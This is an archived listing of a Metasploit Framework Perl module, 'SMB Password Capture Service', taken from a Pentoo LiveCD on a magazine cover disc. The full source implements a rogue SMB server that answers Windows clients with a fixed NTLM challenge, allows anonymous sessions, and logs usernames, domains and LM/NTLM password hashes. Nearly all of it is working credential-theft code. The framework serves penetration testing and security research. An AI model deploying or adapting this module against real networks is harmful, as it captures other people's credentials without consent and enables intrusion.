home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / smb_sniffer.pm < prev    next >
Text File  |  2006-06-30  |  13KB  |  544 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::smb_sniffer;
  11. use base "Msf::Exploit";
  12. use IO::Socket;
  13. use IO::Select;
  14. use Pex::Struct;
  15. use Pex::Text;
  16.  
  17. use strict;
  18.  
  19. my $advanced = { };
  20.  
  21. my $info =
  22.   {
  23.     'Name'    => 'SMB Password Capture Service',
  24.     'Version' => '$Revision: 1.8 $',
  25.     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>'],
  26.  
  27.     'Arch'  => [ ],
  28.     'OS'    => [ ],
  29.     'Priv'  => 0,
  30.  
  31.     'UserOpts'  =>
  32.       {
  33.         'LHOST'   => [1, 'ADDR', 'The IP address to bind the SMB service to', '0.0.0.0'],
  34.         'LPORT'   => [1, 'PORT', 'The SMB server port', 139],
  35.         'LOGFILE' => [0, 'DATA', 'The path for the optional log file', 'smbsniff.log'],
  36.         'UID'   =>   [0, 'DATA', 'The user ID to switch to after opening the port', 0],
  37.       },
  38.  
  39.     'Description'  => Pex::Text::Freeform(qq{
  40.         This module can be used to capture lanman and ntlm password hashes
  41.         from Windows systems.
  42. }),
  43.  
  44.     'Refs'  =>  [  ['MIL', '60']  ],
  45.     'Keys'  =>  ['smb'],
  46.   };
  47.  
  48. sub new {
  49.     my $class = shift;
  50.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  51.     return($self);
  52. }
  53.  
  54. sub Exploit {
  55.     my $self = shift;
  56.     my $bind_host = $self->GetVar('LHOST');
  57.     my $bind_port = $self->GetVar('LPORT');
  58.  
  59.     my $s = IO::Socket::INET->new
  60.       (
  61.         'LocalAddr'  => $bind_host,
  62.         'LocalPort'  => $bind_port,
  63.         'Listen'     => 5,
  64.         'ReuseAddr'  => 1,
  65.       );
  66.  
  67.     if (! $s) {
  68.         $self->PrintLine('[*] Error creating socket: ' . $!);
  69.         return;
  70.     }
  71.  
  72.     $self->PrintLine("[*] Listener created, switching to userid ".$self->GetVar('UID'));
  73.     $< = $> = $self->GetVar('UID');
  74.  
  75.     my %state = {};
  76.     $s->blocking(0);
  77.     $s->autoflush(1);
  78.  
  79.     my $cur = {};
  80.     my $lis = IO::Select->new($s);
  81.  
  82.     $self->PrintLine("[*] Starting SMB Password Service");
  83.  
  84.     while (1) {
  85.  
  86.         my $del = (scalar(keys(%{$cur}))) ? 0.1 : 2;
  87.         my @newc = $lis->can_read($del);
  88.         if (@newc) {
  89.             my $c = $s->accept();
  90.             my $psock = Msf::Socket::Tcp->new_from_socket($c);
  91.             $psock->RecvTimeout(2);
  92.             $psock->RecvLoopTimeout(2);
  93.             $state{$c} =
  94.               {
  95.                 'Status'  => 'new',
  96.                 'Socket'  => $psock,
  97.                 'SMB'     => Pex::SMB->new({Socket => $psock}),
  98.                 'Address' => $c->peerhost,
  99.               };
  100.             $self->PrintLine('[*] New connection from '.$c->peerhost);
  101.             $cur->{$c} = $c;
  102.         }
  103.  
  104.         # The IO::Select module does not actually delete
  105.         # handles when you call the remove() method, so we
  106.         # have to use this messy hack to work around a
  107.         # broken core module :(
  108.  
  109.         my $cli = IO::Select->new();
  110.         foreach (keys(%{$cur})) {
  111.             $cli->add($cur->{$_});
  112.         }
  113.  
  114.         my @ready = $cli->can_read(1);
  115.         foreach my $c (@ready) {
  116.             $self->Process($state{$c});
  117.             if ($state{$c}->{'Status'} eq 'done' || ! $c->connected) {
  118.                 $self->Report($state{$c});
  119.                 $state{$c}->{'Socket'}->Close;
  120.                 delete($cur->{$c});
  121.                 delete($state{$c});
  122.             }
  123.         }
  124.     }
  125.  
  126.     $s->shutdown(2);
  127.     $s->close;
  128. }
  129.  
  130. sub Process {
  131.     my $self  = shift;
  132.     my $state = shift;
  133.     my $data  = $state->{'SMB'}->SMBRecv();
  134.     my $sock  = $state->{'Socket'};
  135.     my $stat  = $state->{'Status'};
  136.  
  137.     if (! $data) {
  138.         $state->{'Status'} = 'done';
  139.         return;
  140.     }
  141.  
  142.     $state->{'RawData'} = $data;
  143.  
  144.     # NetBIOS Session Request
  145.     if ($stat eq 'new') {
  146.         if (unpack('C', $data) == 0x81) {
  147.             $sock->Send("\x82\x00\x00\x00");
  148.             $self->NBSessionParse($state, $data);
  149.             $state->{'Status'} = 'negot';
  150.             return;
  151.         }
  152.         return;
  153.     }
  154.  
  155.     my $smbh = $self->SMBHeaderParse(substr($data, 4));
  156.  
  157.     # SMB Negotiate
  158.     if ($smbh->Get('command') == 0x72) {
  159.         my %dialects = $self->SMBNegotiateParse($smbh->Get('request'));
  160.         my $pdialect = 'LANMAN2.1';
  161.         if (! exists($dialects{$pdialect})) {
  162.             $self->PrintLine("[*] Host ".$sock->PeerAddr." does not support our dialect: $pdialect");
  163.             return;
  164.         }
  165.  
  166.         # This routine takes state, dialect, challenge, workgroup, server
  167.         my $res = $self->SMBNegotiateResponseNTLMv1($state, $smbh, $dialects{$pdialect});
  168.         $sock->Send($res);
  169.         $state->{'Status'} = 'setup';
  170.         return;
  171.     }
  172.  
  173.     # SMB SessionSetupAndX
  174.     if ($smbh->Get('command') == 0x73) {
  175.         my $res = $self->SMBSessionSetupAndXParse($state, $smbh);
  176.         $sock->Send($res);
  177.         return;
  178.     }
  179.  
  180.     # SMB TreeConnectAndX
  181.     if ($smbh->Get('command') == 0x75) {
  182.         my $res = $self->SMBTreeAndXParse($state);
  183.         $sock->Send($res);
  184.         return;
  185.     }
  186.  
  187.     # close client connection if we fall through
  188.     $state->{'Status'} = 'done';
  189. }
  190.  
  191. # Store the netbios names sent during the SMB session request
  192. sub NBSessionParse {
  193.     my $self  = shift;
  194.     my $state = shift;
  195.     my $data  = shift;
  196.  
  197.     $data = substr($data, 4);
  198.     $data =~ s/ //g;
  199.  
  200.     my ($called, $caller) = split(/\x00/, $data);
  201.     $state->{'NBCaller'} = Pex::SMB->NBNameDecode($caller);
  202.     $state->{'NBCalled'} = Pex::SMB->NBNameDecode($called);
  203. }
  204.  
  205. sub SMBHeader {
  206.     my $self = shift;
  207.     my $STSMB = Pex::Struct->new
  208.       ([
  209.             'smbmagic'      => 'b_u_32',
  210.             'command'       => 'u_8',
  211.             'status'        => 'l_u_32',
  212.             'flags1'        => 'u_8',
  213.             'flags2'        => 'l_u_16',
  214.             'pid_high'      => 'l_u_16',
  215.             'signature1'    => 'l_u_32',
  216.             'signature2'    => 'l_u_32',
  217.             'reserved2'     => 'l_u_16',
  218.             'tree_id'       => 'l_u_16',
  219.             'process_id'    => 'l_u_16',
  220.             'user_id',      => 'l_u_16',
  221.             'multiplex_id'  => 'l_u_16',
  222.             'request'       => 'string',
  223.         ]);
  224.     $STSMB->Set
  225.       (
  226.         'smbmagic'      => 0xff534d42, # \xffSMB
  227.         'command'       => 0,
  228.         'status'        => 0,
  229.         'flags1'        => 0x88,
  230.         'flags2'        => 0x4001,
  231.         'pid_high'      => 0,
  232.         'signature1'    => 0,
  233.         'signature2'    => 0,
  234.         'reserved2'     => 0,
  235.         'tree_id'       => 0,
  236.         'process_id'    => $$,
  237.         'user_id'       => 0,
  238.         'multiplex_id'  => 1,
  239.         'request'       => '',
  240.       );
  241.     return $STSMB;
  242. }
  243.  
  244. sub SMBNegotiateParse {
  245.     my $self = shift;
  246.     my $data = shift;
  247.     my $idx = 0;
  248.     my %res;
  249.     foreach (split(/\x02/, $data)) {
  250.         s/\x00//g;
  251.         $res{$_} = $idx++;
  252.     }
  253.     return %res;
  254. }
  255.  
  256. sub SMBHeaderParse {
  257.     my $self = shift;
  258.     my $data = shift;
  259.  
  260.     my $STSMB = $self->SMBHeader();
  261.     $STSMB->Fill($data);
  262.     $STSMB->Set('request' => substr($data, $STSMB->Length));
  263.     return $STSMB;
  264. }
  265.  
  266. sub SMBNegotiateResponseNTLMv1 {
  267.     my $self  = shift;
  268.     my $state = shift;
  269.     my $smbh  = shift;
  270.     my $dial  = shift;
  271.     my $chall = @_ ? shift() : ("\x41" x 8);
  272.     my $group = @_ ? shift() : $state->{'NBCaller'};
  273.     my $mach  = @_ ? shift() : $state->{'NBCaller'};
  274.  
  275.     $group =~ s/\x00|\s+$//g;
  276.     $mach =~ s/\x00|\s+$//g;
  277.  
  278.     my $STNegResNT = Pex::Struct->new
  279.       ([
  280.             'word_count'    => 'u_8',
  281.             'dialect'       => 'l_u_16',
  282.             'sec_mode'      => 'u_8',
  283.             'max_mpx'       => 'l_u_16',
  284.             'max_vcs'       => 'l_u_16',
  285.             'max_buff'      => 'l_u_32',
  286.             'max_raw'       => 'l_u_32',
  287.             'sess_key'      => 'l_u_32',
  288.             'caps'          => 'l_u_32',
  289.             'dos_time'      => 'l_u_32',
  290.             'dos_date'      => 'l_u_32',
  291.             'time_zone'     => 'l_u_16',
  292.             'key_len'       => 'u_8',
  293.             'bcc_len'       => 'l_u_16',
  294.             'enc_key'       => 'string',
  295.             'domain'        => 'string',
  296.             'machine'       => 'string',
  297.  
  298.         ]);
  299.     $STNegResNT->SetSizeField( 'enc_key' => 'key_len' );
  300.     $STNegResNT->Set
  301.       (
  302.         'word_count'    => 17,
  303.         'dialect'       => $dial,
  304.         'sec_mode'      => 3,
  305.         'max_mpx'       => 50,
  306.         'max_vcs'       => 1,
  307.         'max_buff'      => 16644,
  308.         'max_raw'       => 65536,
  309.         'sess_key'      => rand() * 0xffff,
  310.         'caps'          => 0xe3f9,
  311.         'dos_time'      => 0xbdc64e00,
  312.         'dos_date'      => 0x01c46660,
  313.         'time_zone'     => 300,
  314.         'key_len'       => length($chall),
  315.         'bcc_len'       => length($chall)+length($group)+1+length($mach)+1,
  316.         'enc_key'       => $chall,
  317.         'domain'        => $group."\x00",
  318.         'machine'       => $mach. "\x00",
  319.       );
  320.  
  321.     my $STSMB = $self->SMBHeader();
  322.     $STSMB->Set(
  323.         'command' => 0x72,
  324.         'flags2'  => 0x0001,
  325.         'request' => $STNegResNT->Fetch,
  326.         'multiplex_id'  => $smbh->Get('multiplex_id'),
  327.         'process_id'    => $smbh->Get('process_id'),
  328.       );
  329.  
  330.     $state->{'Challenge'} = $chall;
  331.     return "\x00\x00".pack('n', $STSMB->Length).$STSMB->Fetch;
  332. }
  333.  
  334. sub SMBSessionSetupAndXParse {
  335.     my $self  = shift;
  336.     my $state = shift;
  337.     my $smbh  = shift;
  338.     my $data  = $smbh->Get('request');
  339.     my $res;
  340.  
  341.     # report each authentication attempt
  342.     delete($state->{'Reported'});
  343.  
  344.     my $STSetupXNT = Pex::Struct->new
  345.       ([
  346.             'word_count'    => 'u_8',
  347.             'x_cmd'         => 'u_8',
  348.             'reserved1'     => 'u_8',
  349.             'x_off'         => 'l_u_16',
  350.             'max_buff'      => 'l_u_16',
  351.             'max_mpx'       => 'l_u_16',
  352.             'vc_num'        => 'l_u_16',
  353.             'sess_key'      => 'l_u_32',
  354.             'pass_len_lm'   => 'l_u_16',
  355.             'pass_len_nt'   => 'l_u_16',
  356.             'reserved2'     => 'l_u_32',
  357.             'caps'          => 'l_u_32',
  358.             'bcc_len'       => 'l_u_16',
  359.             'request'       => 'string',
  360.         ]);
  361.     $STSetupXNT->SetSizeField( 'request' => 'bcc_len' );
  362.     $STSetupXNT->Fill($data);
  363.  
  364.     # print Pex::Text::BufferPerl($STSetupXNT->Fetch);
  365.  
  366.     my $info = $STSetupXNT->Get('request');
  367.     my ($pwlm, $pwnt, $user, $domain, $os, $lm);
  368.  
  369.     $pwlm = $pwnt = ("\x00" x 24);
  370.  
  371.     if ($STSetupXNT->Get('pass_len_lm') > 0) {
  372.         $pwlm = substr($info, 0, $STSetupXNT->Get('pass_len_lm'));
  373.         $info = substr($info, $STSetupXNT->Get('pass_len_lm'));
  374.     }
  375.     if ($STSetupXNT->Get('pass_len_nt') > 0) {
  376.         $pwnt = substr($info, 0, $STSetupXNT->Get('pass_len_nt'));
  377.         $info = substr($info, $STSetupXNT->Get('pass_len_nt'));
  378.     }
  379.  
  380.     # assume the client respected our no unicode flag
  381.     ($user, $domain, $os, $lm) = split(/\x00/, $info);
  382.  
  383.     # $self->PrintLine("[*] Access from $user\@domain [$os] [$lm]");
  384.     $state->{'Username'}   = $user;
  385.     $state->{'Domain'}     = $domain;
  386.     $state->{'LMPassword'} = $pwlm;
  387.     $state->{'NTPassword'} = $pwnt;
  388.     $state->{'NativeLM'}   = $lm;
  389.     $state->{'NativeOS'}   = $os;
  390.     $self->Report($state);
  391.  
  392.     my $STSetupXRes;
  393.     my $STSMB;
  394.  
  395.     # Deny access when a username is specified
  396.     if ($user || ($STSetupXNT->Get('x_cmd') && $state->{'RawData'} !~ /IPC/)) {
  397.  
  398.         $STSetupXRes = Pex::Struct->new
  399.           ([
  400.                 'word_count'    => 'u_8',
  401.                 'bcc_len'       => 'l_u_16',
  402.             ]);
  403.         $STSetupXRes->Set
  404.           (
  405.             'word_count'    => 0,
  406.             'bcc_len'       => 0,
  407.           );
  408.  
  409.         $STSMB = $self->SMBHeader();
  410.         $STSMB->Set(
  411.             'command'       => 0x73,
  412.             'request'       => $STSetupXRes->Fetch,
  413.             'status'        => 0xc000006d,
  414.             'multiplex_id'  => $smbh->Get('multiplex_id'),
  415.             'process_id'    => $smbh->Get('process_id'),
  416.           );
  417.     }
  418.  
  419.     # Allow anonymous access, this is required for real password theft
  420.     else {
  421.  
  422.         my $sinfo =
  423.           "Windows 2000 2195\x00".
  424.           "Windows 2000 5.0\x00".
  425.           $state->{'NBCaller'}."\x00";
  426.  
  427.         $STSetupXRes = Pex::Struct->new
  428.           ([
  429.                 'word_count'    => 'u_8',
  430.                 'x_cmd'         => 'u_8',
  431.                 'reserved1'     => 'u_8',
  432.                 'x_off'         => 'l_u_16',
  433.                 'action'        => 'l_u_16',
  434.                 'bcc_len'       => 'l_u_16',
  435.                 'request'       => 'string',
  436.             ]);
  437.         $STSetupXRes->SetSizeField( 'request' => 'bcc_len' );
  438.         $STSetupXRes->Set
  439.           (
  440.             'word_count'    => 3,
  441.             'x_cmd'         => $STSetupXNT->Get('x_cmd'),
  442.             'reserved1'     => 0,
  443.             'x_off'         => 41 + length($sinfo),
  444.             'action'        => 1,
  445.             'bcc_len'       => length($sinfo),
  446.             'request'       => $sinfo,
  447.           );
  448.  
  449.         my $share = ("IPC\x00" x 2);
  450.         my $AndX =
  451.           "\x03\xff\x00\x00\x00\x01\x00".
  452.           pack('v', length($share)).
  453.           $share;
  454.  
  455.         my $combined = $STSetupXRes->Fetch . $AndX;
  456.  
  457.         $STSMB = $self->SMBHeader();
  458.         $STSMB->Set(
  459.             'command'       => 0x73,
  460.             'request'       => $combined,
  461.             'tree_id'       => 1,
  462.             'user_id'       => 100,
  463.             'multiplex_id'  => $smbh->Get('multiplex_id'),
  464.             'process_id'    => $smbh->Get('process_id'),
  465.           );
  466.     }
  467.  
  468.     return "\x00\x00".pack('n', $STSMB->Length).$STSMB->Fetch;
  469. }
  470.  
  471. sub SMBTreeAndXParse {
  472.     my $self  = shift;
  473.     my $state = shift;
  474.     my $share = ("IPC\x00" x 2);
  475.  
  476.     my $res =
  477.       "\x03\xff\x00\x00\x00\x01\x00".
  478.       pack('v', length($share)).
  479.       $share;
  480.  
  481.     my $STSMB = $self->SMBHeader();
  482.     $STSMB->Set(
  483.         'command' => 0x75,
  484.         'request' => $res,
  485.       );
  486.  
  487.     return "\x00\x00".pack('n', $STSMB->Length).$STSMB->Fetch;
  488. }
  489.  
  490. sub Report {
  491.     my $self  = shift;
  492.     my $state = shift;
  493.  
  494.     return if exists($state->{'Reported'});
  495.  
  496.     # Generate all of the common password check hashes
  497.     if (! $self->{'CH'}->{$state->{'Challenge'}}) {
  498.         $self->{'CH'}->{$state->{'Challenge'}} = { };
  499.         my $x = $self->{'CH'}->{$state->{'Challenge'}};
  500.         $x->{'Short'} = substr(Pex::SMB->CryptLM("XXXXXXX", $state->{'Challenge'}), 16, 8);
  501.         $x->{'NullLM'} = Pex::SMB->CryptLM("", $state->{'Challenge'});
  502.         $x->{'NullNT'} = Pex::SMB->CryptNT("", $state->{'Challenge'});
  503.     }
  504.     my $ch = $self->{'CH'}->{$state->{'Challenge'}};
  505.  
  506.     my $info = '';
  507.  
  508.     if ($ch->{'Short'} eq substr($state->{'LMPassword'}, 16, 8)) {
  509.         $info .= 'ShortLM ';
  510.     }
  511.  
  512.     if ($ch->{'NullLM'} eq $state->{'LMPassword'}) {
  513.         $info .= 'NullLM ';
  514.     }
  515.  
  516.     if ($ch->{'NullNT'} eq $state->{'NTPassword'}) {
  517.         $info .= 'NullNT ';
  518.     }
  519.  
  520.     my $log =
  521.       join("\t",
  522.         (
  523.             scalar(localtime()),
  524.             $state->{'Address'},
  525.             $state->{'Username'},
  526.             $state->{'Domain'},
  527.             unpack("H*", $state->{'Challenge'}),
  528.             unpack("H*", $state->{'LMPassword'}),
  529.             unpack("H*", $state->{'NTPassword'}),
  530.             $state->{'NativeOS'},
  531.             $state->{'NativeLM'},
  532.             $info
  533.           ));
  534.     $self->PrintLine($log);
  535.     $state->{'Reported'}++;
  536.  
  537.     if ($self->GetVar('LOGFILE') && open(my $out, ">>".$self->GetVar('LOGFILE'))) {
  538.         print $out "$log\n";
  539.         close ($out);
  540.     }
  541. }
  542.  
  543. 1;
  544.